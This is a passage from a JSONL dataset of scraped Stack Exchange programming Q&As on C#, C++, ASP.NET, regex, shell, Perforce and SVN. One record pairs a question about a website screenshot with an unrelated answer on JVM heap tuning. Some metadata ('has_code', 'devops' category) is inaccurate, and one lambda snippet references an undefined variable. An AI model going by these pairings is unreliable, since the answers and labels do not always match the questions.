from addresses to variable names and locations in the source code. The symbol file information is a separate set of APIs and isn't a core part of the OS as such. On Windows this is through the\nDebug Interface Access SDK\n.\nIf you are debugging a managed environment (.NET, Java, etc.) the process will typically look similar, but the details are different, as the virtual machine environment provides the debug API rather than the underlying OS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.413703"}
{"id": "hf_8e557daf93e1", "question": "<p>There are some cool and exciting features in .NET 3.5/C# 3.0, and with those features comes some darn interesting ways to write the exact same line of code.</p>\n\n<p>Using the above stated tool set (and by extension .NET 2.0 stuff), what are the different ways the below code snippet could reasonably be rewritten? </p>\n\n<pre><code>        string uploadDirectory = \"c:\\\\some\\\\path\\\\\";\n        if (Directory.Exists(uploadDirectory)) {\n            string[] files = Directory.GetFiles(uploadDirectory);\n            foreach (string filename in files) {\n                if (File.GetLastWriteTime(filename).AddHours(12) &lt; DateTime.Now) {\n                    File.Delete(filename);\n                }\n            }\n        }\n</code></pre>\n", "question_body": "", "answer": "Lambda:\n```\n```\nif (Directory.Exists(uploadDirectory)) \n  Directory.GetFiles(uploadDirectory)\n    .Where(f => File.GetLastWriteTime(file) < DateTime.Now.AddHours(-12))\n    .Each(f => File.Delete(f));\n```\n```\nEdit: On 2nd thought, you can avoid the security lookups on each File access by using DirectoryInfo and FileInfo instead of the static File methods:\n```\n```\nvar di = new DirectoryInfo(uploadDirectory);\nif (di.Exists()) {\n   di.GetFiles()\n     .Where(f => f.LastWriteTime < DateTime.Now.AddHours(-12))\n     .Each(f=> f.Delete());\n}\n```\n```\nAnd for those missing their own Each method:\n```\n```\nvoid Each<T>(this IEnumerable e, Action<T> action) {\n  foreach (T t in e) {\n    action(t);\n  }\n}\n```\n```\nTo make this really crazy, and fit the C# 3.0 theme, let's throw in an anonymous type:\n```\n```\ndi.GetFiles().Select(f => new() {\n   Delete = f.LastWriteTime < DateTime.Now.AddHours(-12) ? f.Delete : () => { }\n}).Delete();\n```\n```\nBut that just doesn't make any sense. ;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.437544"}
{"id": "hf_d45c45dc37ea", "question": "<p>I'm currently using the following code to right-trim all the <code>std::strings</code> in my programs:</p>\n\n<pre><code>std::string s;\ns.erase(s.find_last_not_of(\" \\n\\r\\t\")+1);\n</code></pre>\n\n<p>It works fine, but I wonder if there are some end-cases where it might fail?</p>\n\n<p>Of course, answers with elegant alternatives and also left-trim solution are welcome.</p>\n", "question_body": "", "answer": "In the case of an empty string, your code assumes that adding 1 to\n```\nstring::npos\n```\ngives 0.\n```\nstring::npos\n```\nis of type\n```\nstring::size_type\n```\n, which is unsigned. Thus, you are relying on the overflow behaviour of addition.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.461417"}
{"id": "hf_7f97450e31ca", "question": "<p>I have a ASP.NET <code>GridView</code> with a column mapped to a boolean. I want do display \"Yes\"/\"No\" instead of \"True\"/\"False\". Well actually I want \"Ja\"/\"Nej\" (in Danish).</p>\n\n<p>Is this possible? </p>\n\n<pre><code>&lt;asp:gridview id=\"GridView1\" runat=\"server\" autogeneratecolumns=\"false\"&gt;\n    &lt;columns&gt;\n        ...\n        &lt;asp:boundfield headertext=\"Active\" datafield=\"Active\" dataformatstring=\"{0:Yes/No}\" /&gt;\n        ...\n    &lt;/columns&gt;\n&lt;/asp:gridview&gt;\n</code></pre>\n", "question_body": "", "answer": "Nope - but you could use a template column:\n```\n```\n<script runat=\"server\">\n  TResult Eval<T, TResult>(string field, Func<T, TResult> converter) {\n     object o = DataBinder.Eval(Container.DataItem, field);\n     if (converter == null) {\n        return (TResult)o;\n     }\n     return converter((T)o);\n  }\n</script>\n\n<asp:TemplateField>\n  <ItemTemplate>\n     <%# Eval<bool, string>(\"Active\", b => b ? \"Yes\" : \"No\") %>\n  </ItemTemplate>\n</asp:TemplateField>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.494833"}
{"id": "hf_4522d70fff91", "question": "<p>I'm wondering about the practical use of #undef in C. I'm working through K&amp;R, and am up to the preprocessor. Most of this was material I (more or less) understood, but something on page 90 (second edition) stuck out at me:</p>\n\n<blockquote>\n  <p>Names may be undefined with <code>#undef</code>,\n  usually to ensure that a routine is\n  really a function, not a macro:</p>\n  \n  <p><code>#undef getchar</code></p>\n  \n  <p><code>int getchar(void) { ... }</code></p>\n</blockquote>\n\n<p>Is this a common practice to defend against someone <code>#define</code>-ing a macro with the same name as your function? Or is this really more of a sample that wouldn't occur in reality? (EG, no one in his right, wrong nor insane mind should be rewriting <code>getchar()</code>, so it shouldn't come up.) With your own function names, do you feel the need to do this? Does that change if you're developing a library for others to use?</p>\n", "question_body": "", "answer": "I only use it when a macro in an\n```\n#included\n```\nfile is interfering with one of my functions (e.g., it has the same name). Then I\n```\n#undef\n```\nthe macro so I can use my own function.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.597739"}
{"id": "hf_3e257c30501c", "question": "<p>I'm using the following regex to capture a fixed width \"description\" field that is always 50 characters long:</p>\n\n<pre><code>(?.{50})\n</code></pre>\n\n<p>My problem is that the descriptions sometimes contain a <em>lot</em> of whitespace, e.g.</p>\n\n<pre><code>\"FLUID        COMPRESSOR                          \"\n</code></pre>\n\n<p>Can somebody provide a regex that:</p>\n\n<ol>\n<li>Trims all whitespace off the end</li>\n<li>Collapses any whitespace in between words to a <strong>single space</strong></li>\n</ol>\n", "question_body": "", "answer": "Is there a particular reason you are asking for a regular expression? They may not be the best tool for this task.\nA replacement like\n```\n```\ns/[ \\t]+/ /g\n```\n```\nshould compress the internal whitespace (actually, it will compress leading and trailing whitespace too, but it doesn't sound like that is a problem.), and\n```\n```\ns/[ \\t]+$/$/\n```\n```\nwill take care of the trailing whitespace. [I'm using\n```\nsed\n```\nish syntax here. You didn't say what flavor you prefer.]\nRight off hand I don't see a way to do it in a single expression.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.621798"}
{"id": "hf_94175d02c6a0", "question": "<p>One of our providers are sometimes sending XML feeds that are tagged as UTF-8 encoded documents but includes characters that are not included in the UTF-8 charset. This causes the parser to throw an exception and stop building the DOM object when these characters are encountered:</p>\n\n<pre><code>DocumentBuilder.parse(ByteArrayInputStream bais) \n</code></pre>\n\n<p>throws the following exception:</p>\n\n<pre><code>org.xml.sax.SAXParseException: Invalid byte 2 of 2-byte UTF-8 sequence.\n</code></pre>\n\n<p>Is there a way to \"capture\" these problems early and avoid the exception (i.e. finding and removing those characters from the stream)? What I'm looking for is a \"best effort\" type of fallback for wrongly encoded documents. The correct solution would obviously be to attack the problem at the source and make sure that only correct documents are delivered, but what is a good approach when that is not possible?</p>\n", "question_body": "", "answer": "You should manually take a look at the invalid documents and see what is the common problem to them. It's quite probable they are in fact in another encoding (most probably windows-1252), and the best solution then would be to take every document from the broken system and recode it to UTF-8 before parsing.\nAnother possible cause is mixed encodings (the content of some elements is in one encoding and the content of other elements is in another encoding). That would be harder to fix.\nYou would also need a way to know when the broken system gets fixed so you can stop using your workaround.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.670679"}
{"id": "hf_37bdd2de295b", "question": "<p>What's the best way to pipe the output from an java.io.OutputStream to a String in Java?</p>\n\n<p>Say I have the method:</p>\n\n<pre><code>  writeToStream(Object o, OutputStream out)\n</code></pre>\n\n<p>Which writes certain data from the object to the given stream. However, I want to get this output into a String as easily as possible.</p>\n\n<p>I'm considering writing a class like this (untested):</p>\n\n<pre><code>class StringOutputStream extends OutputStream {\n\n  StringBuilder mBuf;\n\n  public void write(int byte) throws IOException {\n    mBuf.append((char) byte);\n  }\n\n  public String getString() {\n    return mBuf.toString();\n  }\n}\n</code></pre>\n\n<p>But is there a better way? I only want to run a test!</p>\n", "question_body": "", "answer": "I would use a\n```\nByteArrayOutputStream\n```\n. And on finish you can call:\n```\n```\nnew String( baos.toByteArray(), codepage );\n```\n```\nor better:\n```\n```\nbaos.toString( codepage );\n```\n```\nFor the\n```\nString\n```\nconstructor, the\n```\ncodepage\n```\ncan be a\n```\nString\n```\nor an instance of\njava.nio.charset.Charset\n. A possible value is\njava.nio.charset.StandardCharsets.UTF_8\n.\nThe method\n```\ntoString()\n```\naccepts only a\n```\nString\n```\nas a\n```\ncodepage\n```\nparameter (stand Java 8).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.695620"}
{"id": "hf_94f276efbea8", "question": "<p>I've been looking around the System.Xml namespace, but don't see anything that would support this. Does anyone know if it's built into .Net, or would I have to obtain a third party library to do it?</p>\n\n<p>NOTE: I wish it were as simple as generating  an xsd, but that won't do for my specific situation.</p>\n", "question_body": "", "answer": "I'm not sure about DTD but you can generate XSD files from an xml file using the\nXsd.exe\ntool. It usually lives in the following directory:\nC:\\Program Files\\Microsoft Visual Studio 8\\SDK\\v2.0\\Bin\\xsd.exe", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.733256"}
{"id": "hf_004ddaf3f5c3", "question": "<p>I have sets of values in rows in Excel\nFirst row contains weights of how much each value in each column contributes to weighted total.\nNow, I want to mark in each following row the value that contributed to the weighted total the most, by changing its background. I played with conditional formatting, but my Excel skills are modest, to say the least.\nSo, how do I do that?</p>\n", "question_body": "", "answer": "Here's what I think you are trying to do: You have a list of numbers (they happen to be weights, but that's not important). You want the largest number to be highlighted differently.\nSuppose the cells are in the range A1:A8.\nSelect the range A1:A8.\nSelect Conditional Formatting (Format | Conditional Formatting)\nEnter the condition Cell Value is/Equal To/=MAX(A1:A8)\nClick the Format... button and set the Pattern to affect the background.\n(Tested on Excel 2003 on Windows.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.757983"}
{"id": "hf_efbb023dc449", "question": "<p>I'm new to .Net and do not understand the difference. Can someone point me in the right direction?</p>\n", "question_body": "", "answer": "They are two different frameworks for writing services. WCF is generally more flexible and provides configurable options for what protocols are used, how the service is hosted and a variety of security options. ASMX offers SOAP based services. Generally WCF is also more\nperformant\n. In general ASMX is easier to use and generally has less of a learning curve.\nHere\nis a MSDN forum discussion on the topic.\nHere are the getting started pages for\nASMX\nand\nWCF\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.796112"}
{"id": "hf_57d8c41b44b4", "question": "<p>I have a web application with users and their documents. Each user can have many documents:</p>\n\n<p>user.rb: </p>\n\n<pre><code>has_many :documents\n</code></pre>\n\n<p>document.rb:</p>\n\n<pre><code>belongs_to :user\n</code></pre>\n\n<p>document_controller.rb:</p>\n\n<pre><code>def index\n    @documents = Document.find(:all)\nend\n</code></pre>\n\n<p>I am using the restful_authentication plugin. Here is my question: How do I get the controller to only show documents that belongs to each user? Right now it shows all the documents for all the users.</p>\n\n<p>I am using the latest version of Rails.</p>\n", "question_body": "", "answer": "You set a relationship in your User class to your Document class. This will automatically add a method to your User objects that returns a list of all documents related to a particular user:\n```\n```\ndef index\n  @documents = @current_user.documents\nend\n```\n```\nSee the\ndocumentation\nfor other automatically added methods.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.821590"}
{"id": "hf_149a734b787a", "question": "<p>Which types of objects fall into the domain of \"subscriptable\"?</p>\n", "question_body": "", "answer": "It basically means that the object implements the\n```\n__getitem__()\n```\nmethod. In other words, it describes objects that are \"containers\", meaning they contain other objects. This includes strings, lists, tuples, and dictionaries.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.856538"}
{"id": "hf_f310006ff449", "question": "<p>Say I want to copy the contents of a directory excluding files and folders whose names contain the word 'Music'.</p>\n\n<pre><code>cp [exclude-matches] *Music* /target_directory\n</code></pre>\n\n<p>What should go in place of [exclude-matches] to accomplish this?</p>\n", "question_body": "", "answer": "One solution for this can be found with find.\n```\n```\n$ mkdir foo bar\n$ touch foo/a.txt foo/Music.txt\n$ find foo -type f ! -name '*Music*' -exec cp {} bar \\;\n$ ls bar\na.txt\n```\n```\nFind has quite a few options, you can get pretty specific on what you include and exclude.\nEdit: Adam in the comments noted that this is recursive.  find options mindepth and maxdepth can be useful in controlling this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.891393"}
{"id": "hf_9024c131ba89", "question": "<p>My AS3-heavy project tests fine in the IDE, but some parts don't work in the browser when published. Any ideas what could be causing this?</p>\n", "question_body": "", "answer": "It might help if you provide some more specific information on what's not working.  Can you post a link?  Furthermore, are any parts of your project referencing any remote objects?  If so, you might want to make sure your remote objects are located where your app expects them to be.  You may also need to add a crossdomain.xml to your server root if you're doing any cross site scripting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:24.914334"}
{"id": "hf_70af28226727", "question": "<p>Is it possible to see the return value of a method after the line has been run and before the instruction pointer returns to the calling function?</p>\n\n<p>I am debugging code I can't modify <em>(read: don't want to re-compile a third party library)</em>, and sometimes it jumps to code I don't have source to or the return expression has side effects that stop me being able to just run the expression in the <em>Display</em> tab.</p>\n\n<p>Often the return value is used in a compound statement, and so the <em>Variables</em> view will never show me the value (hence wanting to see the result before control returns to the calling function).</p>\n\n<p><strong>UPDATE:</strong> I can't use the expression viewer as there are side-effects in the statement.</p>\n", "question_body": "", "answer": "Tough one.  My experience, outside of Eclipse, is that if you might need to see the return value, it is best to assign it to a local variable in the function so that the return statement is a simple\n```\nreturn varname;\n```\nand not\n```\nreturn(some * expression || other);\n```\n.  However, that's not dreadfully helpful to you since you say you can't (or don't want to) modify or even recompile the code.  So, I don't have a good answer for you - perhaps you need to reconsider your requirement.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:25.042089"}
{"id": "hf_f9078382febc", "question": "<p>So I have an Access application, and I'd like some forms to be maximised when they are opened, and others to be medium-sized when they are opened.  However, if I try something like this:</p>\n\n<pre><code>Private Sub Form_Activate()\n  DoCmd.Maximize\nEnd Sub\n</code></pre>\n\n<p>or</p>\n\n<pre><code>Private Sub Form_Activate()\n  DoCmd.Restore\nEnd Sub\n</code></pre>\n\n<p>it has the effect of maximizing or restoring every open window, which isn't what I'm looking for.</p>\n\n<p>Is there any way around this?</p>\n\n<p>I'm using Access 2003.</p>\n", "question_body": "", "answer": "Access is an MDI (Multiple Document Interface) application, and this is how they work: either all sub-windows are maximized, or none.\nWhat you need to do, is find a way to discover the dimensions of the Access application window, and then programmatically set the form's .InsideWidth and .InsideHeight properties. The\n```\nApplication\n```\nobject has a\n```\nhwndAccessApp\n```\nthat probably can be used with some Windows API call to find out its width and height.\naddendum\nThanks to\nPhilippe Grondier\nfor finding a relevant code sample, the general idea from the\ncode sample\nis:\ndeclare the following Win32 API elements:\n```\nstruct Rect\n```\n(\n```\nType Rect…\n```\nin VBA)\n```\nconst SW_SHOWNORMAL = 1\n```\n(for ShowWindow)\n```\nGetParent\n```\n(given a hwnd, get its parent's hwnd)\n```\nGetClientRect\n```\n(retrieve position and size from a hwnd)\n```\nIsZoomed\n```\n(boolean; true if window is maximized)\n```\nShowWindow\n```\n(change the state of a window)\n```\nMoveWindow\n```\n(to change the position and size of a window)\nif your form is maximized (\n```\nIsZoomed(frm.hWnd) = True\n```\n), then restore it (\n```\nShowWindow frm.hWnd, SW_SHOWNORMAL\n```\n)\nget the MDI clients area from your form's hWnd (\n```\nGetClientRect GetParent(frm.hWnd, rect)\n```\n)\nuse the rect data to change the position and size of your window (\n```\nMoveWindow frm.hWnd, 0, 0, rect.x2-rect.x1, rect.y2-rect.y1\n```\n)\n(The above is basically the explanation of the code sample; I didn't copy-paste the code because I wasn't sure if the author allowed it).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:25.077211"}
{"id": "hf_8b250bbdf468", "question": "<p>I would like to know how long it's been since the user last hit a key or moved the mouse - not just in my application, but on the whole \"computer\" (i.e. display), in order to guess whether they're still at the computer and able to observe notifications that pop up on the screen.</p>\n\n<p>I'd like to do this purely from (Py)GTK+, but I am amenable to calling platform-specific functions.  Ideally I'd like to call functions which have already been wrapped from Python, but if that's not possible, I'm not above a little bit of C or <code>ctypes</code> code, as long as I know what I'm actually looking for.</p>\n\n<p>On Windows I think the function I want is <a href=\"http://msdn.microsoft.com/en-us/library/ms646302.aspx\" rel=\"noreferrer\"><code>GetLastInputInfo</code></a>, but that doesn't seem to be wrapped by pywin32; I hope I'm missing something.</p>\n", "question_body": "", "answer": "I got an answer regarding mouse-clicks suggesting to use\npyHook\n:\nDetecting Mouse clicks in windows using python\nHere's some other code I did to detect mouse-position via ctypes:\nhttp://monkut.webfactional.com/blog/archive/2008/10/2/python-win-mouse-position\nA more round-about method to accomplish this would be via screen capture and comparing any change in images using PIL.\nhttp://www.wellho.net/forum/Programming-in-Python-and-Ruby/Python-Imaging-Library-PIL.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:25.114202"}
{"id": "hf_4dd25e7c66a1", "question": "<p>Problem : I have multiple projects checked out in my depot. I also have multiple pending numbered change lists, each change list containing checked out files specific to its project. When I check out a new file, it appears in the default change list instead of in the change list that is relevant to its project and I need to manually move it to the relevant change list. This gets real tedious real quick. </p>\n\n<p>Is there any way to automate this process? Sure, a shell script with regular expressions could work, but I want to know if there is any Perforce feature that does this. For example, is there a way to link my project folder to a numbered change list so that a newly checked out file automatically appears in the relevant change list?</p>\n", "question_body": "", "answer": "The way I handle this is that each project I'm working on has a separate client workspace configuration.\nHowever, this is a 6 of one, half dozen of the other situation - now I have to manage a bunch of workspaces. The problem I run into is that when I'm working on project A and want to do something quick in project B I have to switch my workspace to do it.\nPerforce does have methods to help deal with that problem by using config files that you place in the proper parts of your directory hierarchy.  See the\nPerforce User's Guide, Chapter 2 - the \"Using config files\" section\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:25.149587"}
{"id": "hf_924506714b04", "question": "<p>I have a revision that has been committed to SVN trunk which I would like to roll back.  However, I would like to retain the changes in some fashion such as a branch or even a patch file.  Any suggestions?</p>\n", "question_body": "", "answer": "Reverse-merge (I think that was the term), commit and that's all.\nFor the \"reverse-merge\" part - TSVN has this cool feature called \"Revert to this revision\" (and \"Revert changes from this revision\"), accessible through the Log dialogue.\nThe main purpose of a VCS is to keep history of your changes. You could always go back to this particular revision by using \"Update to revision...\" or by using the aforementioned \"shortcuts\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:25.184505"}
{"id": "hf_e1c828597b75", "question": "<p>Is there a way to make <strong>awk</strong> (gawk) ignore or skip missing files? That is, files passed on the command line that no longer exist in the file system (e.g. rapidly appearing/disappearing files under /proc/[1-9]*).</p>\n\n<p>By default, a missing file is a fatal error :-(</p>\n\n<p>I would like to be able to do the equivalent of something like this:</p>\n\n<pre><code>BEGIN { MISSING_FILES_ARE_FATAL = 0 }  # &lt;- Wishful thinking!\n      { count++ }\nEND   { print count }\n</code></pre>\n\n<p>A wrapper script cannot check that files exist befor awk is run as they may disappear between the time they are checked and awk then tries to open them, i.e., it is a race condition. (It is also a race condition to check-and-then-open within awk, although the timing is tighter)</p>\n", "question_body": "", "answer": "In the finest of traditions, I will answer your awk question with a Perl program.\n```\n```\n#!/usr/bin/perl -w\n\nfor my $file (@ARGV) {\n    open my $fh, $file or next;\n    while(<$fh>) {\n        ...do your thing here...\n    }\n}\n```\n```\n(It's not awk, but it is the only solution without a race condition.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:25.208718"}
{"id": "hf_c15822480f25", "question": "<p>I'm attempting to display some text in my program using (say) Windows GDI and some of the unicode characters are displayed as question marks? What is up?</p>\n\n<p>See also: <a href=\"https://stackoverflow.com/questions/217228/what-does-it-mean-when-my-text-is-displayed-as-boxes\">What does it mean when my text is displayed as boxes?</a></p>\n", "question_body": "", "answer": "Basically you have corrupted the text. You are taking Unicode text in one encoding and then have converted it to another encoding without checking that target encoding includes all of the characters in the source text. Having done so you have got a bunch of gibberish.\nWays to do this include:\nTreating UTF-8 text as ANSI (without converting into a valid code-page first)\nConverting Unicode text into a code-page without checking if the code-page has the right characters in it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:25.282191"}
{"id": "hf_875d74b54763", "question": "<p>I've run across this sort of thing on multiple websites and was wondering what it was called, does anyone know? <a href=\"http://twitpic.com/h77i/full\" rel=\"nofollow noreferrer\" title=\"twitpic.com\">Here's a screenshot.</a></p>\n", "question_body": "", "answer": "I don't see anything obviously out of place.  If you're working with a very large database, you could try increasing your heap size by using the\n```\n-Xmx n\n```\noption in your JVM invocation.  This is usually not the best solution - only do with this when you know your working set size is actually bigger than the default heap size.\nAre you using any complex data structures?  If you have circular references between objects, you might be preventing the garbage collector from cleaning up unreachable objects.  If you have any hand-written data structures, make sure that you explicitly null out references to objects that are removed instead of doing something like decrementing a size variable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:25.415660"}
{"id": "hf_cccca50c8c74", "question": "<p>I am using pseudo-code here, but this is in JavaScript. With the most efficient algorithm possible I am trying to find the high and low given an array of positive whole numbers. This is what I came up with, but I don't think it is probably best, and was just wondering if anyone has any other suggestions.</p>\n\n<pre><code>var low = 1;\nvar high = 1;\nfor ( loop numbers ) {\n    if ( number &gt; high ) {\n        high = number;\n    }\n    if ( low == 1 ) {\n        low = high;\n    }\n    if ( number &lt; low ) {\n        low = number;\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "In python:\n```\n```\n>>> seq = [1, 2, 3, 4, 5, 6, 7]\n>>> max(seq)\n7\n>>> min(seq)\n1\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:25.441711"}
{"id": "hf_e67f9684bc23", "question": "<p>What kind of collection I should use to convert NameValue collection to be bindable to GridView?\nWhen doing directly it didn't work.</p>\n\n<p><strong>Code in aspx.cs</strong></p>\n\n<pre><code>  private void BindList(NameValueCollection nvpList)\n  {\n     resultGV.DataSource = list;\n     resultGV.DataBind();\n  }\n</code></pre>\n\n<p><strong>Code in aspx</strong></p>\n\n<pre><code>&lt;asp:GridView ID=\"resultGV\" runat=\"server\" AutoGenerateColumns=\"False\" Width=\"100%\"&gt;\n    &lt;Columns&gt;\n         &lt;asp:BoundField DataField=\"Key\" HeaderText=\"Key\" /&gt;\n         &lt;asp:BoundField DataField=\"Value\" HeaderText=\"Value\" /&gt;\n    &lt;/Columns&gt;\n&lt;/asp:GridView&gt;\n</code></pre>\n\n<p>Any tip most welcome. Thanks. X.</p>\n", "question_body": "", "answer": "Can you use Dictionary<string,string> instead of NameValueCollection.  Since Dictionary<T,T> implements IEnumerable you could use LINQ as so:\n```\n```\nresultGV.DataSource = from item in nvpDictionary\n                      select new { Key = item.Key, Value = item.Value };\nresultGV.DataBind();\n```\n```\n[EDIT] Actually you may be able to use Dictionary directly as:\n```\n```\nresultGV.DataSource = nvpDictionary;\nresultGV.DataBind();\n```\n```\nIf it doesn't map key/value the way you want you can always go back to LINQ.  LINQ would also allow you to rename the fields to whatever you want.\n[EDIT]  If you can't change to use Dictionary<T,T>, make a copy of the NameValueCollection as a Dictionary in the method and bind to it.\n```\n```\nprivate void BindList(NameValueCollection nvpList)\n{\n   Dictionary<string,string> temp = new Dictionary<string,string>();\n   foreach (string key in nvpList)\n   {\n      temp.Add(key,nvpList[key]);\n   }\n\n   resultGV.DataSource = temp;\n   resultGV.DataBind();\n}\n```\n```\nIf you do this a lot, you could write an extension method to convert to a Dictionary, and use it so.\n```\n```\npublic static class NameValueCollectionExtensions\n{\n   public static Dictionary<string,string> ToDictionary( this NameValueCollection collection )\n   {\n      Dictionary<string,string> temp = new Dictionary<string,string>();\n      foreach (string key in collection)\n      {\n          temp.Add(key,collection[key]);\n      }\n      return temp;\n   }\n}\n\nprivate void BindList(NameValueCollection nvpList)\n{\n   resultGV.DataSource = nvpList.ToDictionary();\n   resultGV.DataBind();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:25.489154"}
{"id": "hf_e29dfcfbf1b0", "question": "<p>Is there a way to spawn a new window via javascript in IE7 that hides the statusbar?</p>\n\n<p>I've added the intranet app as a trusted site. Not sure what else I can use to try. This is my JS</p>\n\n<pre><code>window.open(\"http:/localhost/start.html\", \"MyApp\", \"left=0, top=0, width=\" + screen.width + \",\" +\n                              \"height=\" + screen.height + \", scrollbars=yes, \" + \n                              \"resizable=yes, location=no, menubar=no, titlebar=no, \" + \"toolbar=no, status=no\");\n</code></pre>\n", "question_body": "", "answer": "Your code worked for me,\nand here's a screenshot.\nExample of how IE7 renders popup without status bar. http://img511.imageshack.us/img511/7757/workshq7.th.png\nNote that experment was done on local filesystem, with \"Protected Mode\" completly turned off. If it didn't work for you, my guess is that your security settings is somehow still to high. Tinkering with the browser UI trough JavaScript is usually blocked for security reasons and should not be relied on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:25.513197"}
